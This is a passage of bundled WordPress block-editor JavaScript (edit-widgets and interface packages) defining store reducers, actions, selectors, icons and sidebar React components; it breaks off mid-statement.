EXPORTS __webpack_require__.d(__webpack_exports__, { initialize: () => (/* binding */ initialize), initializeEditor: () => (/* binding */ initializeEditor), reinitializeEditor: () => (/* binding */ reinitializeEditor), store: () => (/* reexport */ store_store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { closeModal: () => (closeModal), disableComplementaryArea: () => (disableComplementaryArea), enableComplementaryArea: () => (enableComplementaryArea), openModal: () => (openModal), pinItem: () => (pinItem), setDefaultComplementaryArea: () => (setDefaultComplementaryArea), setFeatureDefaults: () => (setFeatureDefaults), setFeatureValue: () => (setFeatureValue), toggleFeature: () => (toggleFeature), unpinItem: () => (unpinItem) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getActiveComplementaryArea: () => (getActiveComplementaryArea), isComplementaryAreaLoading: () => (isComplementaryAreaLoading), isFeatureActive: () => (isFeatureActive), isItemPinned: () => (isItemPinned), isModalActive: () => (isModalActive) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/actions.js var store_actions_namespaceObject = {}; __webpack_require__.r(store_actions_namespaceObject); __webpack_require__.d(store_actions_namespaceObject, { closeGeneralSidebar: () => (closeGeneralSidebar), moveBlockToWidgetArea: () => (moveBlockToWidgetArea), persistStubPost: () => (persistStubPost), saveEditedWidgetAreas: () => (saveEditedWidgetAreas), saveWidgetArea: () => (saveWidgetArea), saveWidgetAreas: () => (saveWidgetAreas), setIsInserterOpened: () => (setIsInserterOpened), setIsListViewOpened: () => (setIsListViewOpened), setIsWidgetAreaOpen: () => (setIsWidgetAreaOpen), setWidgetAreasOpenState: () => (setWidgetAreasOpenState), setWidgetIdForClientId: () => (setWidgetIdForClientId) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/resolvers.js var resolvers_namespaceObject = {}; __webpack_require__.r(resolvers_namespaceObject); __webpack_require__.d(resolvers_namespaceObject, { getWidgetAreas: () => (getWidgetAreas), getWidgets: () => (getWidgets) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/selectors.js var store_selectors_namespaceObject = {}; __webpack_require__.r(store_selectors_namespaceObject); __webpack_require__.d(store_selectors_namespaceObject, { __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint), canInsertBlockInWidgetArea: () => (canInsertBlockInWidgetArea), getEditedWidgetAreas: () => (getEditedWidgetAreas), getIsWidgetAreaOpen: () => (getIsWidgetAreaOpen), getParentWidgetAreaBlock: () => (getParentWidgetAreaBlock), getReferenceWidgetBlocks: () => (getReferenceWidgetBlocks), getWidget: () => (getWidget), getWidgetAreaForWidgetId: () => (getWidgetAreaForWidgetId), getWidgetAreas: () => (selectors_getWidgetAreas), getWidgets: () => (selectors_getWidgets), isInserterOpened: () => (isInserterOpened), isListViewOpened: () => (isListViewOpened), isSavingWidgetAreas: () => (isSavingWidgetAreas) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/private-selectors.js var private_selectors_namespaceObject = {}; __webpack_require__.r(private_selectors_namespaceObject); __webpack_require__.d(private_selectors_namespaceObject, { getInserterSidebarToggleRef: () => (getInserterSidebarToggleRef), getListViewToggleRef: () => (getListViewToggleRef) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/index.js var widget_area_namespaceObject = {}; __webpack_require__.r(widget_area_namespaceObject); __webpack_require__.d(widget_area_namespaceObject, { metadata: () => (metadata), name: () => (widget_area_name), settings: () => (settings) }); ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","deprecated"] const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"]; var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject); ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","blockLibrary"] const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"]; ;// external ["wp","coreData"] const external_wp_coreData_namespaceObject = window["wp"]["coreData"]; ;// external ["wp","widgets"] const external_wp_widgets_namespaceObject = window["wp"]["widgets"]; ;// external ["wp","preferences"] const external_wp_preferences_namespaceObject = window["wp"]["preferences"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// ./node_modules/@wordpress/edit-widgets/build-module/store/reducer.js /** * WordPress dependencies */ /** * Controls the open state of the widget areas. * * @param {Object} state Redux state. * @param {Object} action Redux action. * * @return {Array} Updated state. */ function widgetAreasOpenState(state = {}, action) { const { type } = action; switch (type) { case 'SET_WIDGET_AREAS_OPEN_STATE': { return action.widgetAreasOpenState; } case 'SET_IS_WIDGET_AREA_OPEN': { const { clientId, isOpen } = action; return { ...state, [clientId]: isOpen }; } default: { return state; } } } /** * Reducer to set the block inserter panel open or closed. * * Note: this reducer interacts with the list view panel reducer * to make sure that only one of the two panels is open at the same time. * * @param {Object} state Current state. * @param {Object} action Dispatched action. */ function blockInserterPanel(state = false, action) { switch (action.type) { case 'SET_IS_LIST_VIEW_OPENED': return action.isOpen ? false : state; case 'SET_IS_INSERTER_OPENED': return action.value; } return state; } /** * Reducer to set the list view panel open or closed. * * Note: this reducer interacts with the inserter panel reducer * to make sure that only one of the two panels is open at the same time. * * @param {Object} state Current state. * @param {Object} action Dispatched action. */ function listViewPanel(state = false, action) { switch (action.type) { case 'SET_IS_INSERTER_OPENED': return action.value ? false : state; case 'SET_IS_LIST_VIEW_OPENED': return action.isOpen; } return state; } /** * This reducer does nothing aside initializing a ref to the list view toggle. * We will have a unique ref per "editor" instance. * * @param {Object} state * @return {Object} Reference to the list view toggle button. */ function listViewToggleRef(state = { current: null }) { return state; } /** * This reducer does nothing aside initializing a ref to the inserter sidebar toggle. * We will have a unique ref per "editor" instance. * * @param {Object} state * @return {Object} Reference to the inserter sidebar toggle button. */ function inserterSidebarToggleRef(state = { current: null }) { return state; } /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ blockInserterPanel, inserterSidebarToggleRef, listViewPanel, listViewToggleRef, widgetAreasOpenState })); ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","notices"] const external_wp_notices_namespaceObject = window["wp"]["notices"]; ;// ./node_modules/clsx/dist/clsx.mjs function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx); ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/check.js /** * WordPress dependencies */ const check = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z" }) }); /* harmony default export */ const library_check = (check); ;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js /** * WordPress dependencies */ const starFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) }); /* harmony default export */ const star_filled = (starFilled); ;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js /** * WordPress dependencies */ const starEmpty = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z", clipRule: "evenodd" }) }); /* harmony default export */ const star_empty = (starEmpty); ;// external ["wp","viewport"] const external_wp_viewport_namespaceObject = window["wp"]["viewport"]; ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","plugins"] const external_wp_plugins_namespaceObject = window["wp"]["plugins"]; ;// ./node_modules/@wordpress/icons/build-module/library/close-small.js /** * WordPress dependencies */ const closeSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) }); /* harmony default export */ const close_small = (closeSmall); ;// ./node_modules/@wordpress/interface/build-module/store/deprecated.js /** * WordPress dependencies */ function normalizeComplementaryAreaScope(scope) { if (['core/edit-post', 'core/edit-site'].includes(scope)) { external_wp_deprecated_default()(`${scope} interface scope`, { alternative: 'core interface scope', hint: 'core/edit-post and core/edit-site are merging.', version: '6.6' }); return 'core'; } return scope; } function normalizeComplementaryAreaName(scope, name) { if (scope === 'core' && name === 'edit-site/template') { external_wp_deprecated_default()(`edit-site/template sidebar`, { alternative: 'edit-post/document', version: '6.6' }); return 'edit-post/document'; } if (scope === 'core' && name === 'edit-site/block-inspector') { external_wp_deprecated_default()(`edit-site/block-inspector sidebar`, { alternative: 'edit-post/block', version: '6.6' }); return 'edit-post/block'; } return name; } ;// ./node_modules/@wordpress/interface/build-module/store/actions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Set a default complementary area. * * @param {string} scope Complementary area scope. * @param {string} area Area identifier. * * @return {Object} Action object. */ const setDefaultComplementaryArea = (scope, area) => { scope = normalizeComplementaryAreaScope(scope); area = normalizeComplementaryAreaName(scope, area); return { type: 'SET_DEFAULT_COMPLEMENTARY_AREA', scope, area }; }; /** * Enable the complementary area. * * @param {string} scope Complementary area scope. * @param {string} area Area identifier. */ const enableComplementaryArea = (scope, area) => ({ registry, dispatch }) => { // Return early if there's no area. if (!area) { return; } scope = normalizeComplementaryAreaScope(scope); area = normalizeComplementaryAreaName(scope, area); const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); if (!isComplementaryAreaVisible) { registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', true); } dispatch({ type: 'ENABLE_COMPLEMENTARY_AREA', scope, area }); }; /** * Disable the complementary area. * * @param {string} scope Complementary area scope. */ const disableComplementaryArea = scope => ({ registry }) => { scope = normalizeComplementaryAreaScope(scope); const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); if (isComplementaryAreaVisible) { registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', false); } }; /** * Pins an item. * * @param {string} scope Item scope. * @param {string} item Item identifier. * * @return {Object} Action object. */ const pinItem = (scope, item) => ({ registry }) => { // Return early if there's no item. if (!item) { return; } scope = normalizeComplementaryAreaScope(scope); item = normalizeComplementaryAreaName(scope, item); const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); // The item is already pinned, there's nothing to do. if (pinnedItems?.[item] === true) { return; } registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', { ...pinnedItems, [item]: true }); }; /** * Unpins an item. * * @param {string} scope Item scope. * @param {string} item Item identifier. */ const unpinItem = (scope, item) => ({ registry }) => { // Return early if there's no item. if (!item) { return; } scope = normalizeComplementaryAreaScope(scope); item = normalizeComplementaryAreaName(scope, item); const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', { ...pinnedItems, [item]: false }); }; /** * Returns an action object used in signalling that a feature should be toggled. * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {string} featureName The feature name. */ function toggleFeature(scope, featureName) { return function ({ registry }) { external_wp_deprecated_default()(`dispatch( 'core/interface' ).toggleFeature`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).toggle` }); registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(scope, featureName); }; } /** * Returns an action object used in signalling that a feature should be set to * a true or false value * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {string} featureName The feature name. * @param {boolean} value The value to set. * * @return {Object} Action object. */ function setFeatureValue(scope, featureName, value) { return function ({ registry }) { external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureValue`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).set` }); registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, featureName, !!value); }; } /** * Returns an action object used in signalling that defaults should be set for features. * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {Object<string, boolean>} defaults A key/value map of feature names to values. * * @return {Object} Action object. */ function setFeatureDefaults(scope, defaults) { return function ({ registry }) { external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureDefaults`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).setDefaults` }); registry.dispatch(external_wp_preferences_namespaceObject.store).setDefaults(scope, defaults); }; } /** * Returns an action object used in signalling that the user opened a modal. * * @param {string} name A string that uniquely identifies the modal. * * @return {Object} Action object. */ function openModal(name) { return { type: 'OPEN_MODAL', name }; } /** * Returns an action object signalling that the user closed a modal. * * @return {Object} Action object. */ function closeModal() { return { type: 'CLOSE_MODAL' }; } ;// ./node_modules/@wordpress/interface/build-module/store/selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns the complementary area that is active in a given scope. * * @param {Object} state Global application state. * @param {string} scope Item scope. * * @return {string | null | undefined} The complementary area that is active in the given scope. */ const getActiveComplementaryArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope) => { scope = normalizeComplementaryAreaScope(scope); const isComplementaryAreaVisible = select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); // Return `undefined` to indicate that the user has never toggled // visibility, this is the vanilla default. Other code relies on this // nuance in the return value. if (isComplementaryAreaVisible === undefined) { return undefined; } // Return `null` to indicate the user hid the complementary area. if (isComplementaryAreaVisible === false) { return null; } return state?.complementaryAreas?.[scope]; }); const isComplementaryAreaLoading = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope) => { scope = normalizeComplementaryAreaScope(scope); const isVisible = select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); const identifier = state?.complementaryAreas?.[scope]; return isVisible && identifier === undefined; }); /** * Returns a boolean indicating if an item is pinned or not. * * @param {Object} state Global application state. * @param {string} scope Scope. * @param {string} item Item to check. * * @return {boolean} True if the item is pinned and false otherwise. */ const isItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, item) => { var _pinnedItems$item; scope = normalizeComplementaryAreaScope(scope); item = normalizeComplementaryAreaName(scope, item); const pinnedItems = select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); return (_pinnedItems$item = pinnedItems?.[item]) !== null && _pinnedItems$item !== void 0 ? _pinnedItems$item : true; }); /** * Returns a boolean indicating whether a feature is active for a particular * scope. * * @param {Object} state The store state. * @param {string} scope The scope of the feature (e.g. core/edit-post). * @param {string} featureName The name of the feature. * * @return {boolean} Is the feature enabled? */ const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, featureName) => { external_wp_deprecated_default()(`select( 'core/interface' ).isFeatureActive( scope, featureName )`, { since: '6.0', alternative: `select( 'core/preferences' ).get( scope, featureName )` }); return !!select(external_wp_preferences_namespaceObject.store).get(scope, featureName); }); /** * Returns true if a modal is active, or false otherwise. * * @param {Object} state Global application state. * @param {string} modalName A string that uniquely identifies the modal. * * @return {boolean} Whether the modal is active. */ function isModalActive(state, modalName) { return state.activeModal === modalName; } ;// ./node_modules/@wordpress/interface/build-module/store/reducer.js /** * WordPress dependencies */ function complementaryAreas(state = {}, action) { switch (action.type) { case 'SET_DEFAULT_COMPLEMENTARY_AREA': { const { scope, area } = action; // If there's already an area, don't overwrite it. if (state[scope]) { return state; } return { ...state, [scope]: area }; } case 'ENABLE_COMPLEMENTARY_AREA': { const { scope, area } = action; return { ...state, [scope]: area }; } } return state; } /** * Reducer for storing the name of the open modal, or null if no modal is open. * * @param {Object} state Previous state. * @param {Object} action Action object containing the `name` of the modal * * @return {Object} Updated state */ function activeModal(state = null, action) { switch (action.type) { case 'OPEN_MODAL': return action.name; case 'CLOSE_MODAL': return null; } return state; } /* harmony default export */ const store_reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ complementaryAreas, activeModal })); ;// ./node_modules/@wordpress/interface/build-module/store/constants.js /** * The identifier for the data store. * * @type {string} */ const STORE_NAME = 'core/interface'; ;// ./node_modules/@wordpress/interface/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Store definition for the interface namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: store_reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject }); // Once we build a more generic persistence plugin that works across types of stores // we'd be able to replace this with a register call. (0,external_wp_data_namespaceObject.register)(store); ;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-toggle/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Whether the role supports checked state. * * @see https://www.w3.org/TR/wai-aria-1.1/#aria-checked * @param {import('react').AriaRole} role Role. * @return {boolean} Whether the role supports checked state. */ function roleSupportsCheckedState(role) { return ['checkbox', 'option', 'radio', 'switch', 'menuitemcheckbox', 'menuitemradio', 'treeitem'].includes(role); } function ComplementaryAreaToggle({ as = external_wp_components_namespaceObject.Button, scope, identifier: identifierProp, icon: iconProp, selectedIcon, name, shortcut, ...props }) { const ComponentToUse = as; const context = (0,external_wp_plugins_namespaceObject.usePluginContext)(); const icon = iconProp || context.icon; const identifier = identifierProp || `${context.name}/${name}`; const isSelected = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getActiveComplementaryArea(scope) === identifier, [identifier, scope]); const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComponentToUse, { icon: selectedIcon && isSelected ? selectedIcon : icon, "aria-controls": identifier.replace('/', ':') // Make sure aria-checked matches spec https://www.w3.org/TR/wai-aria-1.1/#aria-checked , "aria-checked": roleSupportsCheckedState(props.role) ? isSelected : undefined, onClick: () => { if (isSelected) { disableComplementaryArea(scope); } else { enableComplementaryArea(scope, identifier); } }, shortcut: shortcut, ...props }); } ;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-header/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const ComplementaryAreaHeader = ({ children, className, toggleButtonProps }) => { const toggleButton = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, { icon: close_small, ...toggleButtonProps }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: dist_clsx('components-panel__header', 'interface-complementary-area-header', className), tabIndex: -1, children: [children, toggleButton] }); }; /* harmony default export */ const complementary_area_header = (ComplementaryAreaHeader); ;// ./node_modules/@wordpress/interface/build-module/components/action-item/index.js /** * WordPress dependencies */ const noop = () => {}; function ActionItemSlot({ name, as: Component = external_wp_components_namespaceObject.MenuGroup, fillProps = {}, bubblesVirtually, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: name, bubblesVirtually: bubblesVirtually, fillProps: fillProps, children: fills => { if (!external_wp_element_namespaceObject.Children.toArray(fills).length) { return null; } // Special handling exists for backward compatibility. // It ensures that menu items created by plugin authors aren't // duplicated with automatically injected menu items coming // from pinnable plugin sidebars. // @see https://github.com/WordPress/gutenberg/issues/14457 const initializedByPlugins = []; external_wp_element_namespaceObject.Children.forEach(fills, ({ props: { __unstableExplicitMenuItem, __unstableTarget } }) => { if (__unstableTarget && __unstableExplicitMenuItem) { initializedByPlugins.push(__unstableTarget); } }); const children = external_wp_element_namespaceObject.Children.map(fills, child => { if (!child.props.__unstableExplicitMenuItem && initializedByPlugins.includes(child.props.__unstableTarget)) { return null; } return child; }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props, children: children }); } }); } function ActionItem({ name, as: Component = external_wp_components_namespaceObject.Button, onClick, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: name, children: ({ onClick: fpOnClick }) => { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { onClick: onClick || fpOnClick ? (...args) => { (onClick || noop)(...args); (fpOnClick || noop)(...args); } : undefined, ...props }); } }); } ActionItem.Slot = ActionItemSlot; /* harmony default export */ const action_item = (ActionItem); ;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-more-menu-item/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const PluginsMenuItem = ({ // Menu item is marked with unstable prop for backward compatibility. // They are removed so they don't leak to DOM elements. // @see https://github.com/WordPress/gutenberg/issues/14457 __unstableExplicitMenuItem, __unstableTarget, ...restProps }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { ...restProps }); function ComplementaryAreaMoreMenuItem({ scope, target, __unstableExplicitMenuItem, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, { as: toggleProps => { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item, { __unstableExplicitMenuItem: __unstableExplicitMenuItem, __unstableTarget: `${scope}/${target}`, as: PluginsMenuItem, name: `${scope}/plugin-more-menu`, ...toggleProps }); }, role: "menuitemcheckbox", selectedIcon: library_check, name: target, scope: scope, ...props }); } ;// ./node_modules/@wordpress/interface/build-module/components/pinned-items/index.js /** * External dependencies */ /** * WordPress dependencies */ function PinnedItems({ scope, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `PinnedItems/${scope}`, ...props }); } function PinnedItemsSlot({ scope, className, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `PinnedItems/${scope}`, ...props, children: fills => fills?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: dist_clsx(className, 'interface-pinned-items'), children: fills }) }); } PinnedItems.Slot = PinnedItemsSlot; /* harmony default export */ const pinned_items = (PinnedItems); ;// ./node_modules/@wordpress/interface/build-module/components/complementary-area/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const ANIMATION_DURATION = 0.3; function ComplementaryAreaSlot({ scope, ...props }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `ComplementaryArea/${scope}`, ...props }); } const SIDEBAR_WIDTH = 280; const variants = { open: { width: SIDEBAR_WIDTH }, closed: { width: 0 }, mobileOpen: { width: '100vw' } }; function ComplementaryAreaFill({ activeArea, isActive, scope, children, className, id }) { const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)(); const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); // This is used to delay the exit animation to the next tick. // The reason this is done is to allow us to apply the right transition properties // When we switch from an open sidebar to another open sidebar. // we don't want to animate in this case. const previousActiveArea = (0,external_wp_compose_namespaceObject.usePrevious)(activeArea); const previousIsActive = (0,external_wp_compose_namespaceObject.usePrevious)(isActive); const [, setState] = (0,external_wp_element_namespaceObject.useState)({}); (0,external_wp_element_namespaceObject.useEffect)(() => { setState({}); }, [isActive]); const transition = { type: 'tween', duration: disableMotion || isMobileViewport || !!previousActiveArea && !!activeArea && activeArea !== previousActiveArea ? 0 : ANIMATION_DURATION, ease: [0.6, 0, 0.4, 1] }; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `ComplementaryArea/${scope}`, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: (previousIsActive || isActive) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, { variants: variants, initial: "closed", animate: isMobileViewport ? 'mobileOpen' : 'open', exit: "closed", transition: transition, className: "interface-complementary-area__fill", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { id: id, className: className, style: { width: isMobileViewport ? '100vw' : SIDEBAR_WIDTH }, children: children }) }) }) }); } function useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall) { const previousIsSmallRef = (0,external_wp_element_namespaceObject.useRef)(false); const shouldOpenWhenNotSmallRef = (0,external_wp_element_namespaceObject.useRef)(false); const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store); (0,external_wp_element_namespaceObject.useEffect)(() => { // If the complementary area is active and the editor is switching from // a big to a small window size. if (isActive && isSmall && !previousIsSmallRef.current) { disableComplementaryArea(scope); // Flag the complementary area to be reopened when the window size // goes from small to big. shouldOpenWhenNotSmallRef.current = true; } else if ( // If there is a flag indicating the complementary area should be // enabled when we go from small to big window size and we are going // from a small to big window size. shouldOpenWhenNotSmallRef.current && !isSmall && previousIsSmallRef.current) { // Remove the flag indicating the complementary area should be // enabled. shouldOpenWhenNotSmallRef.current = false; enableComplementaryArea(scope, identifier); } else if ( // If the flag is indicating the current complementary should be // reopened but another complementary area becomes active, remove // the flag. shouldOpenWhenNotSmallRef.current && activeArea && activeArea !== identifier) { shouldOpenWhenNotSmallRef.current = false; } if (isSmall !== previousIsSmallRef.current) { previousIsSmallRef.current = isSmall; } }, [isActive, isSmall, scope, identifier, activeArea, disableComplementaryArea, enableComplementaryArea]); } function ComplementaryArea({ children, className, closeLabel = (0,external_wp_i18n_namespaceObject.__)('Close plugin'), identifier: identifierProp, header, headerClassName, icon: iconProp, isPinnable = true, panelClassName, scope, name, title, toggleShortcut, isActiveByDefault }) { const context = (0,external_wp_plugins_namespaceObject.usePluginContext)(); const icon = iconProp || context.icon; const identifier = identifierProp || `${context.name}/${name}`; // This state is used to delay the rendering of the Fill // until the initial effect runs. // This prevents the animation from running on mount if // the complementary area is active by default. const [isReady, setIsReady] = (0,external_wp_element_namespaceObject.useState)(false); const { isLoading, isActive, isPinned, activeArea, isSmall, isLarge, showIconLabels } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getActiveComplementaryArea, isComplementaryAreaLoading, isItemPinned } = select(store); const { get } = select(external_wp_preferences_namespaceObject.store); const _activeArea = getActiveComplementaryArea(scope); return { isLoading: isComplementaryAreaLoading(scope), isActive: _activeArea === identifier, isPinned: isItemPinned(scope, identifier), activeArea: _activeArea, isSmall: 